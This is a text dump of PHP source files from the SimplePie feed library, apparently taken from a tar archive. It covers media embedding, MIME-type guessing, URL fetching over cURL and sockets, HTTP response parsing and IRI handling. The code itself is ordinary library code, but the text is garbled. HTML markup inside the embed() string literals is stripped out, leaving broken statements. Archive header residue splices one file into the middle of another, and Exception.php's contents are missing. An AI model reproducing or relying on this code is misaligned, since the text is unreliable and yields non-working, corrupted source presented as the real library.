'auto'. * @param array|string $options Comma-separated key:value list, or array * @param bool $native Use `` * @return string HTML string to output */ public function embed($options = '', $native = false) { // Set up defaults $audio = ''; $video = ''; $alt = ''; $altclass = ''; $loop = 'false'; $width = 'auto'; $height = 'auto'; $bgcolor = '#ffffff'; $mediaplayer = ''; $widescreen = false; $handler = $this->get_handler(); $type = $this->get_real_type(); // Process options and reassign values as necessary if (is_array($options)) { extract($options); } else { $options = explode(',', $options); foreach($options as $option) { $opt = explode(':', $option, 2); if (isset($opt[0], $opt[1])) { $opt[0] = trim($opt[0]); $opt[1] = trim($opt[1]); switch ($opt[0]) { case 'audio': $audio = $opt[1]; break; case 'video': $video = $opt[1]; break; case 'alt': $alt = $opt[1]; break; case 'altclass': $altclass = $opt[1]; break; case 'loop': $loop = $opt[1]; break; case 'width': $width = $opt[1]; break; case 'height': $height = $opt[1]; break; case 'bgcolor': $bgcolor = $opt[1]; break; case 'mediaplayer': $mediaplayer = $opt[1]; break; case 'widescreen': $widescreen = $opt[1]; break; } } } } $mime = explode('/', $type, 2); $mime = $mime[0]; // Process values for 'auto' if ($width === 'auto') { if ($mime === 'video') { if ($height === 'auto') { $width = 480; } elseif ($widescreen) { $width = round((intval($height)/9)*16); } else { $width = round((intval($height)/3)*4); } } else { $width = '100%'; } } if ($height === 'auto') { if ($mime === 'audio') { $height = 0; } elseif ($mime === 'video') { if ($width === 'auto') { if ($widescreen) { $height = 270; } else { $height = 360; } } elseif ($widescreen) { $height = round((intval($width)/16)*9); } else { $height = round((intval($width)/4)*3); } } else { $height = 376; } } elseif ($mime === 'audio') { $height = 0; } // Set proper placeholder value if ($mime === 'audio') { $placeholder = $audio; } elseif ($mime === 'video') { $placeholder = $video; } $embed = ''; // Flash if ($handler === 'flash') { if ($native) { $embed .= "get_link() . "\" pluginspage=\"http://adobe.com/go/getflashplayer\" type=\"$type\" quality=\"high\" width=\"$width\" height=\"$height\" bgcolor=\"$bgcolor\" loop=\"$loop\">"; } else { $embed .= ""; } } // Flash Media Player file types. // Preferred handler for MP3 file types. elseif ($handler === 'fmedia' || ($handler === 'mp3' && $mediaplayer !== '')) { $height += 20; if ($native) { $embed .= "get_link().'?file_extension=.'.$this->get_extension()) . "&autostart=false&repeat=$loop&showdigits=true&showfsbutton=false\">"; } else { $embed .= ""; } } // QuickTime 7 file types. Need to test with QuickTime 6. // Only handle MP3's if the Flash Media Player is not present. elseif ($handler === 'quicktime' || ($handler === 'mp3' && $mediaplayer === '')) { $height += 16; if ($native) { if ($placeholder !== '') { $embed .= "get_link() . "\" src=\"$placeholder\" width=\"$width\" height=\"$height\" autoplay=\"false\" target=\"myself\" controller=\"false\" loop=\"$loop\" scale=\"aspect\" bgcolor=\"$bgcolor\" pluginspage=\"http://apple.com/quicktime/download/\">"; } else { $embed .= "get_link() . "\" width=\"$width\" height=\"$height\" autoplay=\"false\" target=\"myself\" controller=\"true\" loop=\"$loop\" scale=\"aspect\" bgcolor=\"$bgcolor\" pluginspage=\"http://apple.com/quicktime/download/\">"; } } else { $embed .= ""; } } // Windows Media elseif ($handler === 'wmedia') { $height += 45; if ($native) { $embed .= "get_link() . "\" autosize=\"1\" width=\"$width\" height=\"$height\" showcontrols=\"1\" showstatusbar=\"0\" showdisplay=\"0\" autostart=\"0\">"; } else { $embed .= ""; } } // Everything else else $embed .= '' . $alt . ''; return $embed; } /** * Get the real media type * * Often, feeds lie to us, necessitating a bit of deeper inspection. This * converts types to their canonical representations based on the file * extension * * @see get_type() * @param bool $find_handler Internal use only, use {@see get_handler()} instead * @return string MIME type */ public function get_real_type($find_handler = false) { // Mime-types by handler. $types_flash = array('application/x-shockwave-flash', 'application/futuresplash'); // Flash $types_fmedia = array('video/flv', 'video/x-flv','flv-application/octet-stream'); // Flash Media Player $types_quicktime = array('audio/3gpp', 'audio/3gpp2', 'audio/aac', 'audio/x-aac', 'audio/aiff', 'audio/x-aiff', 'audio/mid', 'audio/midi', 'audio/x-midi', 'audio/mp4', 'audio/m4a', 'audio/x-m4a', 'audio/wav', 'audio/x-wav', 'video/3gpp', 'video/3gpp2', 'video/m4v', 'video/x-m4v', 'video/mp4', 'video/mpeg', 'video/x-mpeg', 'video/quicktime', 'video/sd-video'); // QuickTime $types_wmedia = array('application/asx', 'application/x-mplayer2', 'audio/x-ms-wma', 'audio/x-ms-wax', 'video/x-ms-asf-plugin', 'video/x-ms-asf', 'video/x-ms-wm', 'video/x-ms-wmv', 'video/x-ms-wvx'); // Windows Media $types_mp3 = array('audio/mp3', 'audio/x-mp3', 'audio/mpeg', 'audio/x-mpeg'); // MP3 if ($this->get_type() !== null) { $type = strtolower($this->type); } else { $type = null; } // If we encounter an unsupported mime-type, check the file extension and guess intelligently. if (!in_array($type, array_merge($types_flash, $types_fmedia, $types_quicktime, $types_wmedia, $types_mp3))) { switch (strtolower($this->get_extension())) { // Audio mime-types case 'aac': case 'adts': $type = 'audio/acc'; break; case 'aif': case 'aifc': case 'aiff': case 'cdda': $type = 'audio/aiff'; break; case 'bwf': $type = 'audio/wav'; break; case 'kar': case 'mid': case 'midi': case 'smf': $type = 'audio/midi'; break; case 'm4a': $type = 'audio/x-m4a'; break; case 'mp3': case 'swa': $type = 'audio/mp3'; break; case 'wav': $type = 'audio/wav'; break; case 'wax': $type = 'audio/x-ms-wax'; break; case 'wma': $type = 'audio/x-ms-wma'; break; // Video mime-types case '3gp': case '3gpp': $type = 'video/3gpp'; break; case '3g2': case '3gp2': $type = 'video/3gpp2'; break; case 'asf': $type = 'video/x-ms-asf'; break; case 'flv': $type = 'video/x-flv'; break; case 'm1a': case 'm1s': case 'm1v': case 'm15': case 'm75': case 'mp2': case 'mpa': case 'mpeg': case 'mpg': case 'mpm': case 'mpv': $type = 'video/mpeg'; break; case 'm4v': $type = 'video/x-m4v'; break; case 'mov': case 'qt': $type = 'video/quicktime'; break; case 'mp4': case 'mpg4': $type = 'video/mp4'; break; case 'sdv': $type = 'video/sd-video'; break; case 'wm': $type = 'video/x-ms-wm'; break; case 'wmv': $type = 'video/x-ms-wmv'; break; case 'wvx': $type = 'video/x-ms-wvx'; break; // Flash mime-types case 'spl': $type = 'application/futuresplash'; break; case 'swf': $type = 'application/x-shockwave-flash'; break; } } if ($find_handler) { if (in_array($type, $types_flash)) { return 'flash'; } elseif (in_array($type, $types_fmedia)) { return 'fmedia'; } elseif (in_array($type, $types_quicktime)) { return 'quicktime'; } elseif (in_array($type, $types_wmedia)) { return 'wmedia'; } elseif (in_array($type, $types_mp3)) { return 'mp3'; } return null; } return $type; } } SimplePie/Exception.php000064400000004150151202620270011077 0ustar00encode($parsed['authority']), $parsed['path'], $parsed['query'], NULL); } $this->url = $url; $this->permanent_url = $url; $this->useragent = $useragent; if (preg_match('/^http(s)?:\/\//i', $url)) { if ($useragent === null) { $useragent = ini_get('user_agent'); $this->useragent = $useragent; } if (!is_array($headers)) { $headers = array(); } if (!$force_fsockopen && function_exists('curl_exec')) { $this->method = SIMPLEPIE_FILE_SOURCE_REMOTE | SIMPLEPIE_FILE_SOURCE_CURL; $fp = curl_init(); $headers2 = array(); foreach ($headers as $key => $value) { $headers2[] = "$key: $value"; } if (version_compare(SimplePie_Misc::get_curl_version(), '7.10.5', '>=')) { curl_setopt($fp, CURLOPT_ENCODING, ''); } curl_setopt($fp, CURLOPT_URL, $url); curl_setopt($fp, CURLOPT_HEADER, 1); curl_setopt($fp, CURLOPT_RETURNTRANSFER, 1); curl_setopt($fp, CURLOPT_FAILONERROR, 1); curl_setopt($fp, CURLOPT_TIMEOUT, $timeout); curl_setopt($fp, CURLOPT_CONNECTTIMEOUT, $timeout); curl_setopt($fp, CURLOPT_REFERER, $url); curl_setopt($fp, CURLOPT_USERAGENT, $useragent); curl_setopt($fp, CURLOPT_HTTPHEADER, $headers2); foreach ($curl_options as $curl_param => $curl_value) { curl_setopt($fp, $curl_param, $curl_value); } $this->headers = curl_exec($fp); if (curl_errno($fp) === 23 || curl_errno($fp) === 61) { curl_setopt($fp, CURLOPT_ENCODING, 'none'); $this->headers = curl_exec($fp); } if (curl_errno($fp)) { $this->error = 'cURL error ' . curl_errno($fp) . ': ' . curl_error($fp); $this->success = false; } else { // Use the updated url provided by curl_getinfo after any redirects. if ($info = curl_getinfo($fp)) { $this->url = $info['url']; } curl_close($fp); $this->headers = SimplePie_HTTP_Parser::prepareHeaders($this->headers, $info['redirect_count'] + 1); $parser = new SimplePie_HTTP_Parser($this->headers); if ($parser->parse()) { $this->headers = $parser->headers; $this->body = trim($parser->body); $this->status_code = $parser->status_code; if ((in_array($this->status_code, array(300, 301, 302, 303, 307)) || $this->status_code > 307 && $this->status_code < 400) && isset($this->headers['location']) && $this->redirects < $redirects) { $this->redirects++; $location = SimplePie_Misc::absolutize_url($this->headers['location'], $url); $previousStatusCode = $this->status_code; $this->__construct($location, $timeout, $redirects, $headers, $useragent, $force_fsockopen, $curl_options); $this->permanent_url = ($previousStatusCode == 301) ? $location : $url; return; } } } } else { $this->method = SIMPLEPIE_FILE_SOURCE_REMOTE | SIMPLEPIE_FILE_SOURCE_FSOCKOPEN; $url_parts = parse_url($url); $socket_host = $url_parts['host']; if (isset($url_parts['scheme']) && strtolower($url_parts['scheme']) === 'https') { $socket_host = "ssl://$url_parts[host]"; $url_parts['port'] = 443; } if (!isset($url_parts['port'])) { $url_parts['port'] = 80; } $fp = @fsockopen($socket_host, $url_parts['port'], $errno, $errstr, $timeout); if (!$fp) { $this->error = 'fsockopen error: ' . $errstr; $this->success = false; } else { stream_set_timeout($fp, $timeout); if (isset($url_parts['path'])) { if (isset($url_parts['query'])) { $get = "$url_parts[path]?$url_parts[query]"; } else { $get = $url_parts['path']; } } else { $get = '/'; } $out = "GET $get HTTP/1.1\r\n"; $out .= "Host: $url_parts[host]\r\n"; $out .= "User-Agent: $useragent\r\n"; if (extension_loaded('zlib')) { $out .= "Accept-Encoding: x-gzip,gzip,deflate\r\n"; } if (isset($url_parts['user']) && isset($url_parts['pass'])) { $out .= "Authorization: Basic " . base64_encode("$url_parts[user]:$url_parts[pass]") . "\r\n"; } foreach ($headers as $key => $value) { $out .= "$key: $value\r\n"; } $out .= "Connection: Close\r\n\r\n"; fwrite($fp, $out); $info = stream_get_meta_data($fp); $this->headers = ''; while (!$info['eof'] && !$info['timed_out']) { $this->headers .= fread($fp, 1160); $info = stream_get_meta_data($fp); } if (!$info['timed_out']) { $parser = new SimplePie_HTTP_Parser($this->headers); if ($parser->parse()) { $this->headers = $parser->headers; $this->body = $parser->body; $this->status_code = $parser->status_code; if ((in_array($this->status_code, array(300, 301, 302, 303, 307)) || $this->status_code > 307 && $this->status_code < 400) && isset($this->headers['location']) && $this->redirects < $redirects) { $this->redirects++; $location = SimplePie_Misc::absolutize_url($this->headers['location'], $url); $previousStatusCode = $this->status_code; $this->__construct($location, $timeout, $redirects, $headers, $useragent, $force_fsockopen, $curl_options); $this->permanent_url = ($previousStatusCode == 301) ? $location : $url; return; } if (isset($this->headers['content-encoding'])) { // Hey, we act dumb elsewhere, so let's do that here too switch (strtolower(trim($this->headers['content-encoding'], "\x09\x0A\x0D\x20"))) { case 'gzip': case 'x-gzip': $decoder = new SimplePie_gzdecode($this->body); if (!$decoder->parse()) { $this->error = 'Unable to decode HTTP "gzip" stream'; $this->success = false; } else { $this->body = trim($decoder->data); } break; case 'deflate': if (($decompressed = gzinflate($this->body)) !== false) { $this->body = $decompressed; } else if (($decompressed = gzuncompress($this->body)) !== false) { $this->body = $decompressed; } else if (function_exists('gzdecode') && ($decompressed = gzdecode($this->body)) !== false) { $this->body = $decompressed; } else { $this->error = 'Unable to decode HTTP "deflate" stream'; $this->success = false; } break; default: $this->error = 'Unknown content coding'; $this->success = false; } } } } else { $this->error = 'fsocket timed out'; $this->success = false; } fclose($fp); } } } else { $this->method = SIMPLEPIE_FILE_SOURCE_LOCAL | SIMPLEPIE_FILE_SOURCE_FILE_GET_CONTENTS; if (empty($url) || !($this->body = trim(file_get_contents($url)))) { $this->error = 'file_get_contents could not read the file'; $this->success = false; } } } } SimplePie/HTTP/Parser.php000064400000026373151202620270011167 0ustar00data = $data; $this->data_length = strlen($this->data); } /** * Parse the input data * * @return bool true on success, false on failure */ public function parse() { while ($this->state && $this->state !== 'emit' && $this->has_data()) { $state = $this->state; $this->$state(); } $this->data = ''; if ($this->state === 'emit' || $this->state === 'body') { return true; } $this->http_version = ''; $this->status_code = ''; $this->reason = ''; $this->headers = array(); $this->body = ''; return false; } /** * Check whether there is data beyond the pointer * * @return bool true if there is further data, false if not */ protected function has_data() { return (bool) ($this->position < $this->data_length); } /** * See if the next character is LWS * * @return bool true if the next character is LWS, false if not */ protected function is_linear_whitespace() { return (bool) ($this->data[$this->position] === "\x09" || $this->data[$this->position] === "\x20" || ($this->data[$this->position] === "\x0A" && isset($this->data[$this->position + 1]) && ($this->data[$this->position + 1] === "\x09" || $this->data[$this->position + 1] === "\x20"))); } /** * Parse the HTTP version */ protected function http_version() { if (strpos($this->data, "\x0A") !== false && strtoupper(substr($this->data, 0, 5)) === 'HTTP/') { $len = strspn($this->data, '0123456789.', 5); $this->http_version = substr($this->data, 5, $len); $this->position += 5 + $len; if (substr_count($this->http_version, '.') <= 1) { $this->http_version = (float) $this->http_version; $this->position += strspn($this->data, "\x09\x20", $this->position); $this->state = 'status'; } else { $this->state = false; } } else { $this->state = false; } } /** * Parse the status code */ protected function status() { if ($len = strspn($this->data, '0123456789', $this->position)) { $this->status_code = (int) substr($this->data, $this->position, $len); $this->position += $len; $this->state = 'reason'; } else { $this->state = false; } } /** * Parse the reason phrase */ protected function reason() { $len = strcspn($this->data, "\x0A", $this->position); $this->reason = trim(substr($this->data, $this->position, $len), "\x09\x0D\x20"); $this->position += $len + 1; $this->state = 'new_line'; } /** * Deal with a new line, shifting data around as needed */ protected function new_line() { $this->value = trim($this->value, "\x0D\x20"); if ($this->name !== '' && $this->value !== '') { $this->name = strtolower($this->name); // We should only use the last Content-Type header. c.f. issue #1 if (isset($this->headers[$this->name]) && $this->name !== 'content-type') { $this->headers[$this->name] .= ', ' . $this->value; } else { $this->headers[$this->name] = $this->value; } } $this->name = ''; $this->value = ''; if (substr($this->data[$this->position], 0, 2) === "\x0D\x0A") { $this->position += 2; $this->state = 'body'; } elseif ($this->data[$this->position] === "\x0A") { $this->position++; $this->state = 'body'; } else { $this->state = 'name'; } } /** * Parse a header name */ protected function name() { $len = strcspn($this->data, "\x0A:", $this->position); if (isset($this->data[$this->position + $len])) { if ($this->data[$this->position + $len] === "\x0A") { $this->position += $len; $this->state = 'new_line'; } else { $this->name = substr($this->data, $this->position, $len); $this->position += $len + 1; $this->state = 'value'; } } else { $this->state = false; } } /** * Parse LWS, replacing consecutive LWS characters with a single space */ protected function linear_whitespace() { do { if (substr($this->data, $this->position, 2) === "\x0D\x0A") { $this->position += 2; } elseif ($this->data[$this->position] === "\x0A") { $this->position++; } $this->position += strspn($this->data, "\x09\x20", $this->position); } while ($this->has_data() && $this->is_linear_whitespace()); $this->value .= "\x20"; } /** * See what state to move to while within non-quoted header values */ protected function value() { if ($this->is_linear_whitespace()) { $this->linear_whitespace(); } else { switch ($this->data[$this->position]) { case '"': // Workaround for ETags: we have to include the quotes as // part of the tag. if (strtolower($this->name) === 'etag') { $this->value .= '"'; $this->position++; $this->state = 'value_char'; break; } $this->position++; $this->state = 'quote'; break; case "\x0A": $this->position++; $this->state = 'new_line'; break; default: $this->state = 'value_char'; break; } } } /** * Parse a header value while outside quotes */ protected function value_char() { $len = strcspn($this->data, "\x09\x20\x0A\"", $this->position); $this->value .= substr($this->data, $this->position, $len); $this->position += $len; $this->state = 'value'; } /** * See what state to move to while within quoted header values */ protected function quote() { if ($this->is_linear_whitespace()) { $this->linear_whitespace(); } else { switch ($this->data[$this->position]) { case '"': $this->position++; $this->state = 'value'; break; case "\x0A": $this->position++; $this->state = 'new_line'; break; case '\\': $this->position++; $this->state = 'quote_escaped'; break; default: $this->state = 'quote_char'; break; } } } /** * Parse a header value while within quotes */ protected function quote_char() { $len = strcspn($this->data, "\x09\x20\x0A\"\\", $this->position); $this->value .= substr($this->data, $this->position, $len); $this->position += $len; $this->state = 'value'; } /** * Parse an escaped character within quotes */ protected function quote_escaped() { $this->value .= $this->data[$this->position]; $this->position++; $this->state = 'quote'; } /** * Parse the body */ protected function body() { $this->body = substr($this->data, $this->position); if (!empty($this->headers['transfer-encoding'])) { unset($this->headers['transfer-encoding']); $this->state = 'chunked'; } else { $this->state = 'emit'; } } /** * Parsed a "Transfer-Encoding: chunked" body */ protected function chunked() { if (!preg_match('/^([0-9a-f]+)[^\r\n]*\r\n/i', trim($this->body))) { $this->state = 'emit'; return; } $decoded = ''; $encoded = $this->body; while (true) { $is_chunked = (bool) preg_match( '/^([0-9a-f]+)[^\r\n]*\r\n/i', $encoded, $matches ); if (!$is_chunked) { // Looks like it's not chunked after all $this->state = 'emit'; return; } $length = hexdec(trim($matches[1])); if ($length === 0) { // Ignore trailer headers $this->state = 'emit'; $this->body = $decoded; return; } $chunk_length = strlen($matches[0]); $decoded .= $part = substr($encoded, $chunk_length, $length); $encoded = substr($encoded, $chunk_length + $length + 2); if (trim($encoded) === '0' || empty($encoded)) { $this->state = 'emit'; $this->body = $decoded; return; } } } /** * Prepare headers (take care of proxies headers) * * @param string $headers Raw headers * @param integer $count Redirection count. Default to 1. * * @return string */ static public function prepareHeaders($headers, $count = 1) { $data = explode("\r\n\r\n", $headers, $count); $data = array_pop($data); if (false !== stripos($data, "HTTP/1.0 200 Connection established\r\n\r\n")) { $data = str_ireplace("HTTP/1.0 200 Connection established\r\n\r\n", '', $data); } if (false !== stripos($data, "HTTP/1.1 200 Connection established\r\n\r\n")) { $data = str_ireplace("HTTP/1.1 200 Connection established\r\n\r\n", '', $data); } return $data; } } SimplePie/IRI.php000064400000070021151202620270007564 0ustar00 array( 'port' => 674 ), 'dict' => array( 'port' => 2628 ), 'file' => array( 'ihost' => 'localhost' ), 'http' => array( 'port' => 80, 'ipath' => '/' ), 'https' => array( 'port' => 443, 'ipath' => '/' ), ); /** * Return the entire IRI when you try and read the object as a string * * @return string */ public function __toString() { return $this->get_iri(); } /** * Overload __set() to provide access via properties * * @param string $name Property name * @param mixed $value Property value */ public function __set($name, $value) { if (method_exists($this, 'set_' . $name)) { call_user_func(array($this, 'set_' . $name), $value); } elseif ( $name === 'iauthority' || $name === 'iuserinfo' || $name === 'ihost' || $name === 'ipath' || $name === 'iquery' || $name === 'ifragment' ) { call_user_func(array($this, 'set_' . substr($name, 1)), $value); } } /** * Overload __get() to provide access via properties * * @param string $name Property name * @return mixed */ public function __get($name) { // isset() returns false for null, we don't want to do that // Also why we use array_key_exists below instead of isset() $props = get_object_vars($this); if ( $name === 'iri' || $name === 'uri' || $name === 'iauthority' || $name === 'authority' ) { $return = $this->{"get_$name"}(); } elseif (array_key_exists($name, $props)) { $return = $this->$name; } // host -> ihost elseif (($prop = 'i' . $name) && array_key_exists($prop, $props)) { $name = $prop; $return = $this->$prop; } // ischeme -> scheme elseif (($prop = substr($name, 1)) && array_key_exists($prop, $props)) { $name = $prop; $return = $this->$prop; } else { trigger_error('Undefined property: ' . get_class($this) . '::' . $name, E_USER_NOTICE); $return = null; } if ($return === null && isset($this->normalization[$this->scheme][$name])) { return $this->normalization[$this->scheme][$name]; } return $return; } /** * Overload __isset() to provide access via properties * * @param string $name Property name * @return bool */ public function __isset($name) { return method_exists($this, 'get_' . $name) || isset($this->$name); } /** * Overload __unset() to provide access via properties * * @param string $name Property name */ public function __unset($name) { if (method_exists($this, 'set_' . $name)) { call_user_func(array($this, 'set_' . $name), ''); } } /** * Create a new IRI object, from a specified string * * @param string $iri */ public function __construct($iri = null) { $this->set_iri($iri); } /** * Clean up */ public function __destruct() { $this->set_iri(null, true); $this->set_path(null, true); $this->set_authority(null, true); } /** * Create a new IRI object by resolving a relative IRI * * Returns false if $base is not absolute, otherwise an IRI. * * @param IRI|string $base (Absolute) Base IRI * @param IRI|string $relative Relative IRI * @return IRI|false */ public static function absolutize($base, $relative) { if (!($relative instanceof SimplePie_IRI)) { $relative = new SimplePie_IRI($relative); } if (!$relative->is_valid()) { return false; } elseif ($relative->scheme !== null) { return clone $relative; } else { if (!($base instanceof SimplePie_IRI)) { $base = new SimplePie_IRI($base); } if ($base->scheme !== null && $base->is_valid()) { if ($relative->get_iri() !== '') { if ($relative->iuserinfo !== null || $relative->ihost !== null || $relative->port !== null) { $target = clone $relative; $target->scheme = $base->scheme; } else { $target = new SimplePie_IRI; $target->scheme = $base->scheme; $target->iuserinfo = $base->iuserinfo; $target->ihost = $base->ihost; $target->port = $base->port; if ($relative->ipath !== '') { if ($relative->ipath[0] === '/') { $target->ipath = $relative->ipath; } elseif (($base->iuserinfo !== null || $base->ihost !== null || $base->port !== null) && $base->ipath === '') { $target->ipath = '/' . $relative->ipath; } elseif (($last_segment = strrpos($base->ipath, '/')) !== false) { $target->ipath = substr($base->ipath, 0, $last_segment + 1) . $relative->ipath; } else { $target->ipath = $relative->ipath; } $target->ipath = $target->remove_dot_segments($target->ipath); $target->iquery = $relative->iquery; } else { $target->ipath = $base->ipath; if ($relative->iquery !== null) { $target->iquery = $relative->iquery; } elseif ($base->iquery !== null) { $target->iquery = $base->iquery; } } $target->ifragment = $relative->ifragment; } } else { $target = clone $base; $target->ifragment = null; } $target->scheme_normalization(); return $target; } return false; } } /** * Parse an IRI into scheme/authority/path/query/fragment segments * * @param string $iri * @return array */ protected function parse_iri($iri) { $iri = trim($iri, "\x20\x09\x0A\x0C\x0D"); if (preg_match('/^((?P[^:\/?#]+):)?(\/\/(?P[^\/?#]*))?(?P[^?#]*)(\?(?P[^#]*))?(#(?P.*))?$/', $iri, $match)) { if ($match[1] === '') { $match['scheme'] = null; } if (!isset($match[3]) || $match[3] === '') { $match['authority'] = null; } if (!isset($match[5])) { $match['path'] = ''; } if (!isset($match[6]) || $match[6] === '') { $match['query'] = null; } if (!isset($match[8]) || $match[8] === '') { $match['fragment'] = null; } return $match; } // This can occur when a paragraph is accidentally parsed as a URI return false; } /** * Remove dot segments from a path * * @param string $input * @return string */ protected function remove_dot_segments($input) { $output = ''; while (strpos($input, './') !== false || strpos($input, '/.') !== false || $input === '.' || $input === '..') { // A: If the input buffer begins with a prefix of "../" or "./", then remove that prefix from the input buffer; otherwise, if (strpos($input, '../') === 0) { $input = substr($input, 3); } elseif (strpos($input, './') === 0) { $input = substr($input, 2); } // B: if the input buffer begins with a prefix of "/./" or "/.", where "." is a complete path segment, then replace that prefix with "/" in the input buffer; otherwise, elseif (strpos($input, '/./') === 0) { $input = substr($input, 2); } elseif ($input === '/.') { $input = '/'; } // C: if the input buffer begins with a prefix of "/../" or "/..", where ".." is a complete path segment, then replace that prefix with "/" in the input buffer and remove the last segment and its preceding "/" (if any) from the output buffer; otherwise, elseif (strpos($input, '/../') === 0) { $input = substr($input, 3); $output = substr_replace($output, '', strrpos($output, '/')); } elseif ($input === '/..') { $input = '/'; $output = substr_replace($output, '', strrpos($output, '/')); } // D: if the input buffer consists only of "." or "..", then remove that from the input buffer; otherwise, elseif ($input === '.' || $input === '..') { $input = ''; } // E: move the first path segment in the input buffer to the end of the output buffer, including the initial "/" character (if any) and any subsequent characters up to, but not including, the next "/" character or the end of the input buffer elseif (($pos = strpos($input, '/', 1)) !== false) { $output .= substr($input, 0, $pos); $input = substr_replace($input, '', 0, $pos); } else { $output .= $input; $input = ''; } } return $output . $input; } /** * Replace invalid character with percent encoding * * @param string $string Input string * @param string $extra_chars Valid characters not in iunreserved or * iprivate (this is ASCII-only) * @param bool $iprivate Allow iprivate * @return string */ protected function replace_invalid_with_pct_encoding($string, $extra_chars, $iprivate = false) { // Normalize as many pct-encoded sections as possible $string = preg_replace_callback('/(?:%[A-Fa-f0-9]{2})+/', array($this, 'remove_iunreserved_percent_encoded'), $string); // Replace invalid percent characters $string = preg_replace('/%(?![A-Fa-f0-9]{2})/', '%25', $string); // Add unreserved and % to $extra_chars (the latter is safe because all // pct-encoded sections are now valid). $extra_chars .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-._~%'; // Now replace any bytes that aren't allowed with their pct-encoded versions $position = 0; $strlen = strlen($string); while (($position += strspn($string, $extra_chars, $position)) < $strlen) { $value = ord($string[$position]); // Start position $start = $position; // By default we are valid $valid = true; // No one byte sequences are valid due to the while. // Two byte sequence: if (($value & 0xE0) === 0xC0) { $character = ($value & 0x1F) << 6; $length = 2; $remaining = 1; } // Three byte sequence: elseif (($value & 0xF0) === 0xE0) { $character = ($value & 0x0F) << 12; $length = 3; $remaining = 2; } // Four byte sequence: elseif (($value & 0xF8) === 0xF0) { $character = ($value & 0x07) << 18; $length = 4; $remaining = 3; } // Invalid byte: else { $valid = false; $length = 1; $remaining = 0; } if ($remaining) { if ($position + $length <= $strlen) { for ($position++; $remaining; $position++) { $value = ord($string[$position]); // Check that the byte is valid, then add it to the character: if (($value & 0xC0) === 0x80) { $character |= ($value & 0x3F) << (--$remaining * 6); } // If it is invalid, count the sequence as invalid and reprocess the current byte: else { $valid = false; $position--; break; } } } else { $position = $strlen - 1; $valid = false; } } // Percent encode anything invalid or not in ucschar if ( // Invalid sequences !$valid // Non-shortest form sequences are invalid || $length > 1 && $character <= 0x7F || $length > 2 && $character <= 0x7FF || $length > 3 && $character <= 0xFFFF // Outside of range of ucschar codepoints // Noncharacters || ($character & 0xFFFE) === 0xFFFE || $character >= 0xFDD0 && $character <= 0xFDEF || ( // Everything else not in ucschar $character > 0xD7FF && $character < 0xF900 || $character < 0xA0 || $character > 0xEFFFD ) && ( // Everything not in iprivate, if it applies !$iprivate || $character < 0xE000 || $character > 0x10FFFD ) ) { // If we were a character, pretend we weren't, but rather an error. if ($valid) $position--; for ($j = $start; $j <= $position; $j++) { $string = substr_replace($string, sprintf('%%%02X', ord($string[$j])), $j, 1); $j += 2; $position += 2; $strlen += 2; } } } return $string; } /** * Callback function for preg_replace_callback. * * Removes sequences of percent encoded bytes that represent UTF-8 * encoded characters in iunreserved * * @param array $match PCRE match * @return string Replacement */ protected function remove_iunreserved_percent_encoded($match) { // As we just have valid percent encoded sequences we can just explode // and ignore the first member of the returned array (an empty string). $bytes = explode('%', $match[0]); // Initialize the new string (this is what will be returned) and that // there are no bytes remaining in the current sequence (unsurprising // at the first byte!). $string = ''; $remaining = 0; // Loop over each and every byte, and set $value to its value for ($i = 1, $len = count($bytes); $i < $len; $i++) { $value = hexdec($bytes[$i]); // If we're the first byte of sequence: if (!$remaining) { // Start position $start = $i; // By default we are valid $valid = true; // One byte sequence: if ($value <= 0x7F) { $character = $value; $length = 1; } // Two byte sequence: elseif (($value & 0xE0) === 0xC0) { $character = ($value & 0x1F) << 6; $length = 2; $remaining = 1; } // Three byte sequence: elseif (($value & 0xF0) === 0xE0) { $character = ($value & 0x0F) << 12; $length = 3; $remaining = 2; } // Four byte sequence: elseif (($value & 0xF8) === 0xF0) { $character = ($value & 0x07) << 18; $length = 4; $remaining = 3; } // Invalid byte: else { $valid = false; $remaining = 0; } } // Continuation byte: else { // Check that the byte is valid, then add it to the character: if (($value & 0xC0) === 0x80) { $remaining--; $character |= ($value & 0x3F) << ($remaining * 6); } // If it is invalid, count the sequence as invalid and reprocess the current byte as the start of a sequence: else { $valid = false; $remaining = 0; $i--; } } // If we've reached the end of the current byte sequence, append it to Unicode::$data if (!$remaining) { // Percent encode anything invalid or not in iunreserved if ( // Invalid sequences !$valid // Non-shortest form sequences are invalid || $length > 1 && $character <= 0x7F || $length > 2 && $character <= 0x7FF || $length > 3 && $character <= 0xFFFF // Outside of range of iunreserved codepoints || $character < 0x2D || $character > 0xEFFFD // Noncharacters || ($character & 0xFFFE) === 0xFFFE || $character >= 0xFDD0 && $character <= 0xFDEF // Everything else not in iunreserved (this is all BMP) || $character === 0x2F || $character > 0x39 && $character < 0x41 || $character > 0x5A && $character < 0x61 || $character > 0x7A && $character < 0x7E || $character > 0x7E && $character < 0xA0 || $character > 0xD7FF && $character < 0xF900 ) { for ($j = $start; $j <= $i; $j++) { $string .= '%' . strtoupper($bytes[$j]); } } else { for ($j = $start; $j <= $i; $j++) { $string .= chr(hexdec($bytes[$j])); } } } } // If we have any bytes left over they are invalid (i.e., we are // mid-way through a multi-byte sequence) if ($remaining) { for ($j = $start; $j < $len; $j++) { $string .= '%' . strtoupper($bytes[$j]); } } return $string; } protected function scheme_normalization() { if (isset($this->normalization[$this->scheme]['iuserinfo']) && $this->iuserinfo === $this->normalization[$this->scheme]['iuserinfo']) { $this->iuserinfo = null; } if (isset($this->normalization[$this->scheme]['ihost']) && $this->ihost === $this->normalization[$this->scheme]['ihost']) { $this->ihost = null; } if (isset($this->normalization[$this->scheme]['port']) && $this->port === $this->normalization[$this->scheme]['port']) { $this->port = null; } if (isset($this->normalization[$this->scheme]['ipath']) && $this->ipath === $this->normalization[$this->scheme]['ipath']) { $this->ipath = ''; } if (isset($this->normalization[$this->scheme]['iquery']) && $this->iquery === $this->normalization[$this->scheme]['iquery']) { $this->iquery = null; } if (isset($this->normalization[$this->scheme]['ifragment']) && $this->ifragment === $this->normalization[$this->scheme]['ifragment']) { $this->ifragment = null; } } /** * Check if the object represents a valid IRI. This needs to be done on each * call as some things change depending on another part of the IRI. * * @return bool */ public function is_valid() { if ($this->ipath === '') return true; $isauthority = $this->iuserinfo !== null || $this->ihost !== null || $this->port !== null; if ($isauthority && $this->ipath[0] === '/') return true; if (!$isauthority && (substr($this->ipath, 0, 2) === '//')) return false; // Relative urls cannot have a colon in the first path segment (and the // slashes themselves are not included so skip the first character). if (!$this->scheme && !$isauthority && strpos($this->ipath, ':') !== false && 